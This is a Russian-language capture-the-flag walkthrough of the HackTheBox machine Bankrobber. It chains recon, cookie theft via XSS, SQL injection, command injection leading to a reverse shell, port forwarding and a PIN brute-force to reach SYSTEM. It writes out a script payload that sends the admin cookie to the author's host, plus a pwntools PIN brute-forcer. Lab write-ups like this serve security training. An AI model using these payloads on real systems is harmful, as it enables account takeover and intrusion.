![image](https://habrastorage.org/webt/tn/ur/au/tnuraujv3xylqfewfhzwbmxtzvo.png)
Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье мы угоним куки администратора сайта через XSS, узнаем код с помощью SQL инъекции, получим шелл через форму выполнения команды с помощью XSS и CSRF, прокинем порт из Windows и побрутим PIN легенького приложения перевода средств с помощью pwntools.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.154, который я добавляю в /etc/hosts.
10.10.10.154 bankrobber.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500
![image](https://habrastorage.org/webt/1g/jx/pi/1gjxpihfww0bs1nqvnyru92j63m.png)
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A bankrobber.htb -p80,443,445,3306
![image](https://habrastorage.org/webt/qj/z-/fy/qjz-fyh-kpcpeao7rnp2ng4nhx8.png)
На хосте работают веб сервер и SMB, а также доступна СУБД MySQL. SMB и MySQL ничего нам не дают, поэтому смотрим веб.
![image](https://habrastorage.org/webt/43/_h/vb/43_hvb9f32536kr8aextoegayvy.png)
Представлен сайт Bitcoin, где мы можем зарегистрироваться.
![image](https://habrastorage.org/webt/8j/c9/tv/8jc9tv_ac3gramgoi3ulyt-d8wa.png)
Давайте зарегистрируемся и войдем. Нам предоставляют форму перевода средств.
![image](https://habrastorage.org/webt/ht/bu/br/htbubrreqhyyfznd6jmkqomlb6o.png)
Выполнив простой тестовый запрос, получаем сообщение. В нем говорится, что Администратор рассмотрит наш запрос на транзакцию и примет решение.
![image](https://habrastorage.org/webt/er/r5/bd/err5bd83_drspuuoeaxnf3aerny.png)
Это очень большой намек на XSS. Давайте попробует украсть cookie администратора. Сначала развернем локальный HTTP сервер.
![image](https://habrastorage.org/webt/7a/xs/hi/7axshiduwgbcxafhc_9vitns2jc.png)
Теперь выполним запрос на транзакцию, указав в качестве сообщения следующую JS нагрузку.
<script>new Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>
Таким образом, пытаясь загрузить картинку, скрипт обратится по данному адресу и в качестве параметра пришлет нам куки учетной записи, под которой скрипт был выполнен (в данном случае администратор).
![image](https://habrastorage.org/webt/c5/oa/c6/c5oac6gb0zrqumwhdmg2odwwyp8.png)
Похоже на base64. Декодируем и получаем логин и пароль администратора.
![image](https://habrastorage.org/webt/hh/zw/xv/hhzwxvxsdcef8ygyq7fyyq3fbss.png)
Логинимся под admin и смотрим, что нового нам доступно. Отправив кавычку в поле поиска пользователя, получаем ошибку — есть инъекция.
![image](https://habrastorage.org/webt/kk/m2/le/kkm2lezd1u0wy8zh7kse-ggd9di.png)
Другой сервер просит команду dir.
![image](https://habrastorage.org/webt/u9/ay/tw/u9aytwx0ehovprcb4ya8l2asp6m.png)
Но отвечает только localhost.
![image](https://habrastorage.org/webt/xo/ik/oa/xoikoawahs9poybqvx9zqevw1ye.png)
Вернемся к SQL инъекции.
![image](https://habrastorage.org/webt/-f/ld/qc/-fldqcixmbpqgfduemzv1asojqu.png)
Определяем количество столбцов и какие из них отображаются.
![image](https://habrastorage.org/webt/xo/zj/or/xozjoroqcfj5nu4i1hwjpff0mbm.png)
Таким образом выводятся первый и второй столбец.
USER
Немного посидев, ничего интересного не находим. Давайте перейдем к модулю backdoorchecker. Найдем событие, которое отвечает на нажатие кнопки.
![image](https://habrastorage.org/webt/rs/t0/xx/rst0xxncmbvp-ticftbuzqewzhm.png)
Переходим в консоль браузера и вводим название функции.
![image](https://habrastorage.org/webt/1s/pp/_s/1spp_snyh6k1f3jnk5ed2u1rubk.png)
Переходим по ссылке на функцию.
![image](https://habrastorage.org/webt/tj/1y/ot/tj1yotu9xuqzcvelsma-wt25loy.png)
И находим куда поступает запрос. Благодаря инъекции, мы можем прочитать файл (с первого раза угадал дефолтный путь xampp).
![image](https://habrastorage.org/webt/ne/pn/qn/nepnqndfcgy5it22pkxctw7vwl4.png)
Таким образом, команда будет выполнена, если в строке будет присутствовать подстрока “dir”. Это позволяет нам отправить цепочку команд. Осталось разобраться с одним, запрос должен поступить от localhost. Вспоминаем про XSS и функцию callSys(), которую мы можем вызвать для отправки запроса. Проверим наше предположение.
![image](https://habrastorage.org/webt/da/iz/sc/daizschi7ytyu_g_kucrowugans.png)
Так как команда выполнена, давайте выполним RCE с помощью скрипта Invoke-PowerShellTcp из пакета nishang.
![image](https://habrastorage.org/webt/g2/fp/n_/g2fpn_5ht2hn0yvdv3nbidcfr-0.png)
ROOT
Первым делом проводим базовое перечисление системы. Для этого используем winPEAS.
![image](https://habrastorage.org/webt/t7/tz/qq/t7tzqqetm7uv1woym14cseh_l1u.png)
Из всего вывода цепляемся за открытый на localhost 910 порт.
![image](https://habrastorage.org/webt/ks/lb/zv/kslbzvu5aohp3zde6pdy8dtdd1c.png)
Давайте посмотрим, что на нем. Для начала нужно прокинуть порт. Среди всех программ наиболее удобным решением является chisel. Запускаем на локалтном и удаленном хостах.
![image](https://habrastorage.org/webt/r0/ez/n1/r0ezn1-hrkrn_s-krocetjus0ic.png)
![image](https://habrastorage.org/webt/wf/sa/lm/wfsalmazisw-x5sbtr2nihqh15g.png)
Теперь подключимся и посмотрим, что там.
![image](https://habrastorage.org/webt/w4/ix/bg/w4ixbghllaiz_gesgxwiomfddmc.png)
Требуется 4-х значный PIN код. Будем перебирать его.
#!/usr/bin/python3
def clear():
sys.stdout.write("\033[F")
sys.stdout.write("\033[K")
from pwn import *
for numb in range(10000):
PIN = str(numb).rjust(4, '0')
r = remote('127.0.0.1', 910)
print("Find PIN: " + PIN, end="\r")
clear()
r.sendafter('[$] ', PIN+"\n")
ans = r.recv()
if b"Access denied" in ans:
r.close()
clear()
else:
print("[+] PIN found: " + PIN)
print(str(ans, "utf-8"))
break
r.interactive()
![image](https://habrastorage.org/webt/h3/dr/ax/h3draxjhd41rrcie_rkop471hfc.png)
Находим PIN код и нас просят ввести сумму транзакции. Делаем это и ничего не происходит.
![image](https://habrastorage.org/webt/ne/se/wo/nesewo6ihv7vrweq62t-x565xyw.png)
Сумма передается в программу, запущенную от имени администратора. Ничего не находя более, передаем в качестве суммы строку из 100 символов.
![image](https://habrastorage.org/webt/vb/sf/nh/vbsfnhi57c25qpai1b9h0-wh-b4.png)
![image](https://habrastorage.org/webt/vz/ah/q-/vzahq-wbmqns074vtghlsivzans.png)
И мы видим как строка запуска программы изменилась на часть нашей строки. Проверим с какого индекса это произошло.
![image](https://habrastorage.org/webt/v7/wz/az/v7wzazxb48ur-7wuhfgdj3nc_lg.png)
Таким образом, если передадим строку с названием и другой программы, она выполнится. Давайте проверим.
![image](https://habrastorage.org/webt/xk/ut/yy/xkutyywlhl1owgpxy3kdsldgcha.png)
![image](https://habrastorage.org/webt/qg/vi/yv/qgviyvztdbkq4mcci8tajjhaoja.png)
![image](https://habrastorage.org/webt/e6/1b/a3/e61ba3_hpw3iahcccuiswhvacec.png)
И предположение верно. Для начала загрузим netcat.
![image](https://habrastorage.org/webt/vj/dl/uw/vjdluwmvvaz_h2ux0jpbea7_-wo.png)
И теперь выполним бэкконнект.
![image](https://habrastorage.org/webt/di/bn/cu/dibncu6ywbidn51-1csidlzsvr0.png)
![image](https://habrastorage.org/webt/cz/xy/r2/czxyr2yd4ikoikhhs6obzgq-1ps.png)
Получаем привилегии SYSTEM.
Вы можете присоединиться к нам в Telegram. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.